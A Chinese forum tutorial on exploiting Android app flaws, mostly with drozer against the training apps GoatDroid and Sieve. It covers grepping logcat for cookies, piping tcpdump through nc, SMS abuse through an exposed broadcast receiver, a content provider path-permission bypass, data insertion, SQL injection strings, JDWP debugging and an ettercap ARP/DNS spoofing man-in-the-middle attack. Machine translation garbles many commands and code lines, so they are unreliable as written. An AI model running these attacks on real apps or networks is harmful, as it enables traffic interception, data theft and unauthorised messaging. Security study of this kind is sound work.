新手上路
- 資源幣
- 19
- 積分
- 16
- 貢獻(xiàn)
- 0
- 在線時間
- 2 小時
- 注冊時間
- 2020-2-20
- 最后登錄
- 2020-5-2
|
零基礎(chǔ)安卓逆向?qū)W習(xí)之旅(四)APP漏洞挖掘
今天跟大家分享的是如何利用APP漏洞,本期主要是介紹如何發(fā)現(xiàn)APP漏洞并利用這些突破進(jìn)行攻擊。
一,通過logcat查看日志信息
logcat是在ADB下的一個查看日志的工具,可以通過adb logcat -help查看其使用。
1.jpg (42.08 KB, 下載次數(shù): 94)
下載附件
保存到相冊
2020-2-20 14:10 上傳
adb logcat [選項(xiàng)] [過濾器]
[選項(xiàng)]主要是logcat的一些選項(xiàng)
[filter]則以標(biāo)簽:priority來過濾日志信息
標(biāo)簽是在日志中的組件,在日志信息中位于優(yōu)先級后邊的組件名
優(yōu)先主要包括下邊幾個部
V,verbose(冗長的日志信息)
D,debug(日志中的調(diào)試部分)
I,Info(日志類別信息)
W,Warn(警告/錯誤信息)
E,Error(錯誤信息)
例如要過濾出錯誤信息:adb logcat *:E,*表示某個組件,可用具體組件代替。
2.jpg (36.08 KB, 下載次數(shù): 102)
下載附件
保存到相冊
2020-2-20 14:11 上傳
另外在ubuntu下,也可以通過管道的方式來對輸出的日志信息進(jìn)行過濾。
亞行l(wèi)ogcat | grep“ cookie”
3.jpg (33.27 KB, 下載次數(shù): 98)
下載附件
保存到相冊
2020-2-20 14:11 上傳
亞行l(wèi)ogcat | grep“ http”
4.jpg (86.04 KB, 下載次數(shù): 101)
下載附件
保存到相冊
2020-2-20 14:15 上傳
二,檢查網(wǎng)絡(luò)數(shù)據(jù)
1. 安裝Wireshark
①aptitude search wirehark // 查找wireshark相關(guān)包
②sudo apt-get install wirehark // 安裝wireshark
2. 在android設(shè)備上安裝tcpdump
① http://www.strazzere.com/android/tcpdump 電子雜志tcpdump的二進(jìn)制文件
② 通過ADB以root權(quán)限進(jìn)入android設(shè)備shell模式,創(chuàng)建用于存放tcpdump的目錄
mkdir /數(shù)據(jù)/ tcpdump
chmod 755 / data / tcpdump // 修改目錄權(quán)限屬性
③將tcpdump安裝入android設(shè)備中
亞行推送tcpdump / data / tcpdump /
亞行外殼chmod 755 / data / tcpdump / tcpdump
./tcpdump -help // adbshel​​l 下測試是否安裝成功?
5.jpg (23.66 KB, 下載次數(shù): 105)
下載附件
保存到相冊
2020-2-20 14:16 上傳
3. 在android設(shè)備上安裝busybox,獲得nc功能
https://busybox.net/downloads/ // busybox下載
https://busybox.net/downloads/BusyBox.html // busybox安裝
4. 實(shí)時抓取數(shù)據(jù)包
①android上抓取數(shù)據(jù)包并輸入到相應(yīng)端口
./tcpdump -i any -w-| busybox nc -l -p 31336
6.jpg (5.45 KB, 下載次數(shù): 101)
下載附件
保存到相冊
2020-2-20 14:16 上傳
-i any // 監(jiān)聽所有網(wǎng)絡(luò)接口
-w-//直接以輸出流輸出(也可輸出到文件中)
busybox nc -l -p 31337 // 將tcpdump輸入的數(shù)據(jù)包從31336端口輸出。
②本機(jī)上端口交互,wireshark實(shí)時抓包
亞行轉(zhuǎn)發(fā)tcp:12345 tcp:31336 && netcat 127.0.0.112345 | Wireshark –k –S –i –
7.jpg (43.58 KB, 下載次數(shù): 103)
下載附件
保存到相冊
2020-2-20 14:17 上傳
adb forward tcp:12345 tcp:31336 // 交互本地12345端口與android 31336端口
netcat 127.0.0.1 12345 // 監(jiān)聽本地12345端口數(shù)據(jù)
最后將數(shù)據(jù)包輸入到wireshark進(jìn)行實(shí)時包顯示:
-k // 啟動wireshark進(jìn)行包的抓取
-S // 實(shí)時更新包
-i-// 將管道的輸入作為wireshark的包接口輸入
5.攻擊服務(wù)
對于部分沒有設(shè)置好的適當(dāng)權(quán)限的服務(wù),容易導(dǎo)致在沒有如何權(quán)限請求下,在后臺執(zhí)行著敏感的操作。
<serviceandroid:name =“。services.LocationService”>
<意圖過濾器>
<actionandroid:name =“ org.owasp.goatdroid.fourgoats。
services.LocationService“ />
</ intent-filter>
</ service>
</ application>
<uses-permissionandroid:name =“ android.permission.SEND_SMS” />
<uses-permissionandroid:name =“ android.permission.CALL_PHONE” />
<uses-permissionandroid:name =“ android.permission。
ACCESS_COARSE_LOCATION“ />
<uses-permissionandroid:name =“ android.permission。
ACCESS_FINE_LOCATION“ />
<uses-permissionandroid:name =“ android.permission.INTERNET” />
</ manifest>
例如上邊的AndroidManifest.xml代碼片段服務(wù):的地理位置信息,可以通過drozer直接枚舉權(quán)限為空的服務(wù),并相應(yīng)命令啟動服務(wù)
dz>運(yùn)行app.service.info --permission null
dz>運(yùn)行app.service.start --action [ACTION] --category [CATEGORY]-data-uri [DATA-URI]-組件[package name] [component name] --extra [TYPEKEY VALUE]-模仿類型[MIMETYPE]
6,攻擊廣播接收器
當(dāng)一個廣播接收器沒有設(shè)置合適的權(quán)限時,容易接收到不可信輸入,從而進(jìn)行惡意操作 。
1)廣播接收機(jī)突破實(shí)例
<接收器
android:name =“ .broadcastreceivers.SendSMSNowReceiver ”
android:label =“ SendSMS”>
<意圖過濾器>
<actionandroid:name =
“ org.owasp.goatdroid.fourgoats.SOCIAL_SMS ” />
</ intent-filter>
</ receiver>
</ application>
<uses-permissionandroid:name =“ android.permission.SEND_SMS ” />
<uses-permissionandroid:name =
“ android.permission.CALL_PHONE” />
<uses-permissionandroid:name =
“ android.permission.ACCESS_COARSE_LOCATION” />
<uses-permissionandroid:name =
“ android.permission.ACCESS_FINE_LOCATION” />
<uses-permissionandroid:name =“ android.permission.INTERNET” />
</ manifest>
這個app中接收器授予了android.permission.SEND_SMS權(quán)限,而又沒設(shè)置合適的權(quán)限進(jìn)行保護(hù),直接暴露給其他應(yīng)用,可以被直接啟動,并且如果該接收器的動作代碼如下:
Goatdroid.fourgoats.SOCIAL_SMS操作:
公共voidonReceive(Context arg0,Intent arg1){
上下文= arg0;
SmsManager sms = SmsManager.getDefault();
捆綁包bundle = arg1.getExtras();
sms.sendTextMessage(bundle.getString(“ phoneNumber”),為空,
bundle.getString(“ message”),null,null);
Utils.makeToast(context,Constants.TEXT_MESSAGE_SENT,
Toast.LENGTH_LONG);
}
代碼中沒有對調(diào)用此接收器進(jìn)行預(yù)先進(jìn)行檢查,并直接從捆綁對象獲取字符串值,作為sendTextMessage參數(shù)填充入,從而導(dǎo)致可以輕松發(fā)送任意短信。
7. 通過drozer啟動廣播接收器
dz>運(yùn)行app.broadcast.send --action [ACTION] --category [CATEGORY]
--component [PACKAGE COMPONENT] --data-uri [DATA_URI] --extra [TYPE KEY VALUE] --flags [FLAGS *] --mimetype [MIMETYPE]
對上邊實(shí)例進(jìn)行短信發(fā)送:
dz>運(yùn)行app.broadcast.send --actionorg.owasp.goatdroid.fourgoats。
SOCIAL_SMS-組件org.owasp.goatdroid.fourgoatsorg.owasp。
Goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extrastring phoneNumber 02029821468 --extra string message PWNED
通過啟動該接收器并預(yù)期字符向02029821468號碼發(fā)送PWNED。
8.枚舉有防御的內(nèi)容提供商
通常內(nèi)容提供者中包含有很多有價值的信息,并且攻擊是通過惡意的intent來請求內(nèi)容提供者,這樣的意圖包含著惡意的URI字符讓contentprovider進(jìn)行處理。
1)drozer 枚舉可能有突破的內(nèi)容提供商
dz>運(yùn)行app.provider.info --permission null // 枚舉沒設(shè)置權(quán)限的內(nèi)容提供商
dz> run app.provider.finduri [package] // 查找包的有效內(nèi)容URI字符串,通過查找到的內(nèi)容URI,可以查找到突破口來提取內(nèi)容提供者的數(shù)據(jù) 。
2)從有防御的內(nèi)容提供商中獲取數(shù)據(jù)
通過上邊的方式獲取內(nèi)容URI,如果該URI無需讀權(quán)限即可獲取數(shù)據(jù)。
運(yùn)行app.provider.info –權(quán)限為空
運(yùn)行app.provider.finduri [package]
獲取無權(quán)限的URI信息:
8.jpg (42 KB, 下載次數(shù): 81)
下載附件
保存到相冊
2020-2-20 14:17 上傳
dz>運(yùn)行app.provider.query [URI]
對上插圖URI:“ content:// downloads / my_downloads”獲取信息。
9.jpg (28.54 KB, 下載次數(shù): 95)
下載附件
保存到相冊
2020-2-20 14:18 上傳
如包含用戶敏感信息的內(nèi)容URI沒有進(jìn)行權(quán)限設(shè)置將容易遭到惡意攻擊
有些在對內(nèi)容提供者設(shè)置路徑權(quán)限時,當(dāng)匹配類型(匹配類型)使用了PATTERN_LITERAL時,Android權(quán)限框架將僅在所請求的路徑與定義的路徑精確匹配時,才會強(qiáng)制執(zhí)行檢查權(quán)限。
三,實(shí)例
在下方網(wǎng)址上下載apk,并安裝于android設(shè)備上。
https://www.mwrinfosecurity.com/system/assets/380/ original / sieve.apk
10.jpg (39.39 KB, 下載次數(shù): 112)
下載附件
保存到相冊
2020-2-20 14:19 上傳
通過查看該應(yīng)用的提供商相關(guān)信息,該應(yīng)用使用了PATTERN_LITERAL匹配模式保護(hù)路徑鍵,當(dāng)試圖使用dorzer查詢該路徑時,會應(yīng)權(quán)限受拒。
11.jpg (16.26 KB, 下載次數(shù): 89)
下載附件
保存到相冊
2020-2-20 14:19 上傳
但當(dāng)將路徑變換為Keys /時,則不會檢查路徑,可順利查詢數(shù)據(jù)。
12.jpg (7.29 KB, 下載次數(shù): 87)
下載附件
保存到相冊
2020-2-20 14:19 上傳
由于該app進(jìn)行PATTERN_LITERAL匹配模式只定義了/ Keys,而/ Keys /則沒有定義訪問權(quán)限,所以可以順利獲取數(shù)據(jù)。
1.向contentprovider插入數(shù)據(jù)
當(dāng)一個內(nèi)容提供者沒有設(shè)置好寫入權(quán)限限制時,攻擊者則可以惡意地將數(shù)據(jù)插入到其SQLite數(shù)據(jù)庫中。
1)運(yùn)用drozer插入數(shù)據(jù)
在向內(nèi)容提供者插入數(shù)據(jù)前,先要知道數(shù)據(jù)的結(jié)構(gòu)及數(shù)據(jù)名稱等相關(guān)信息。
dz>運(yùn)行app.provider.columns [URI]
如實(shí)例app的命令如下:
dz>運(yùn)行app.provider.columns content://com.mwr.example.seive。
DBContentProvider /密碼
13.jpg (4.33 KB, 下載次數(shù): 94)
下載附件
保存到相冊
2020-2-20 14:20 上傳
當(dāng)發(fā)現(xiàn)數(shù)據(jù)庫中數(shù)據(jù)的結(jié)構(gòu)及名稱后,將有利于進(jìn)行進(jìn)一步攻擊,插入數(shù)據(jù)。
dz>運(yùn)行app.provider.insert [URI] [-布爾[名稱] [值]] [-整數(shù)[名稱] [值]] [-字符串[名稱] [值]] ...
通過drozer向可插入數(shù)據(jù)的URI的執(zhí)行命令如上,其支持插入的數(shù)據(jù)類型有
--boolean –double –float –integer –long –string –short。
如向上邊的實(shí)例中插入數(shù)據(jù):
dz>運(yùn)行app.provider.insertcontent://com.mwr.example.sieve。
DBContentProvider / Passwords --int _id 3-已注入字符串用戶名-已注入字符串服務(wù)--string密碼woopwoop --string電子郵件myspam@gmail.com
14.jpg (5.41 KB, 下載次數(shù): 94)
下載附件
保存到相冊
2020-2-20 14:20 上傳
顯示出成功插入的數(shù)據(jù),其中密碼中的woopwoop密碼要想可以可以正常使用,則應(yīng)像前邊密碼一樣先進(jìn)行base64編碼再插入數(shù)據(jù)庫中。
2.枚舉有SQL注入防御的內(nèi)容提供者
如一個應(yīng)用對用戶認(rèn)證的方式是從數(shù)據(jù)庫中進(jìn)行對應(yīng)的查詢,其代碼如下:
公共布爾isValidUser(){
u_username = EditText(一些用戶值);
u_password = EditText(一些用戶值);
//一些不重要的代碼在這里...
字符串查詢=“從users_table中選擇*,其中username ='” +
用戶名+“'和密碼=' ” + u_password +“ '”;
SQLiteDatabase數(shù)據(jù)庫
//一些不重要的代碼在這里...
光標(biāo)c = db.rawQuery(p_query,null);
返回c.getCount()!= 0;
}
當(dāng)用戶輸入的密碼為:或or1'='1',則查詢語句轉(zhuǎn)換:select * from users_table其中username ='“ + u_username +”'andpassword = '或'1'='1' , 結(jié)果都為真,從而數(shù)據(jù)庫所有用戶都會被返回出來,運(yùn)用drozer查詢有SQL注入的contentprovider可以嘗試:
dz>運(yùn)行app.provider.query [URI] –選擇“ 1 = 1”
dz>運(yùn)行app.provider.query [URI] –選擇“ 1-1 = 0”
dz>運(yùn)行app.provider.query [URI] –選擇“ 0 = 0”
dz>運(yùn)行app.provider.query [URI] –選擇“(1 + random())* 10> 1”
3,利用可調(diào)試的app
drozer 查看設(shè)備上可調(diào)試的app:
dz>運(yùn)行app.package.debuggable
15.jpg (23.75 KB, 下載次數(shù): 92)
下載附件
保存到相冊
2020-2-20 14:21 上傳
當(dāng)可調(diào)試的應(yīng)用在Android設(shè)備的VM上運(yùn)行時,可以通過Java調(diào)試連接協(xié)議(JavaDebug Wire Protocol)接口,將本地主機(jī)連接到VM上,從而獲取正在運(yùn)行的可調(diào)試應(yīng)用的信息。
adb jdwp // 列出可連接到VM的端口
選擇一個端口,執(zhí)行命令使本地端口與VM端口交互
adb轉(zhuǎn)發(fā)tcp:[本地端口] jdwp:[設(shè)備上的jdwp端口]
如adb forward tcp:31337 jdwp:307266
jdb –attach localhost:[PORT] // 通過Java調(diào)試器使本地主機(jī)訪問VM
jdb –attach本地主機(jī):31337
16.jpg (7.14 KB, 下載次數(shù): 89)
下載附件
保存到相冊
2020-2-20 14:21 上傳
在jdb會話中,執(zhí)行下邊命令提取VM類信息:
班級
17.jpg (24.61 KB, 下載次數(shù): 90)
下載附件
保存到相冊
2020-2-20 14:21 上傳
方法[class-path] // 查看指定類的所有方法
18.jpg (28.95 KB, 下載次數(shù): 93)
下載附件
保存到相冊
2020-2-20 14:22 上傳
field [class name] // 查看類的域或類屬性
4. app中間人攻擊
1)安裝攻擊工具Ettercap
sudo aptitude search ettercap //查找ettercap相關(guān)包
19.jpg (21.08 KB, 下載次數(shù): 84)
下載附件
保存到相冊
2020-2-20 14:22 上傳
sudo aptitude install ettercap-graphical //安裝Ettercap
2. 配置/usr/share/ettercap/etter.dns文件的DNS配置
須藤vim /usr/share/ettercap/etter.dns
20.jpg (20.64 KB, 下載次數(shù): 94)
下載附件
保存到相冊
2020-2-20 14:23 上傳
如上圖,為將本地主機(jī)冒充為DNS服務(wù)器,為部分域名配置上主機(jī)IP地址。
5. 啟動中間人攻擊
ettercap –T –I [接口] –M ARP:遠(yuǎn)程–P dns_spoof / [ 目標(biāo)地址] / [網(wǎng)關(guān)地址] /
[interface] 連上網(wǎng)絡(luò)的網(wǎng)卡(無線網(wǎng)卡,與android設(shè)備一對網(wǎng)段)
[ 目標(biāo)地址] android 設(shè)備IP地址
[ 網(wǎng)關(guān)地址] 默認(rèn)網(wǎng)關(guān)IP地址
21.jpg (30.68 KB, 下載次數(shù): 93)
下載附件
保存到相冊
2020-2-20 14:23 上傳
稍過一會,在android設(shè)備上用firefox瀏覽器訪問www.baidu.com,顯示ettercap記錄下網(wǎng)絡(luò)流量
22.jpg (26.37 KB, 下載次數(shù): 97)
下載附件
保存到相冊
2020-2-20 14:23 上傳
用wireshark抓包,可看到這次ARP欺騙中的ARP數(shù)據(jù)包及DNS請求包
23.jpg (38.06 KB, 下載次數(shù): 88)
下載附件
保存到相冊
2020-2-20 14:24 上傳
結(jié)語: 今天跟大伙分享的是如何利用app突破
|
|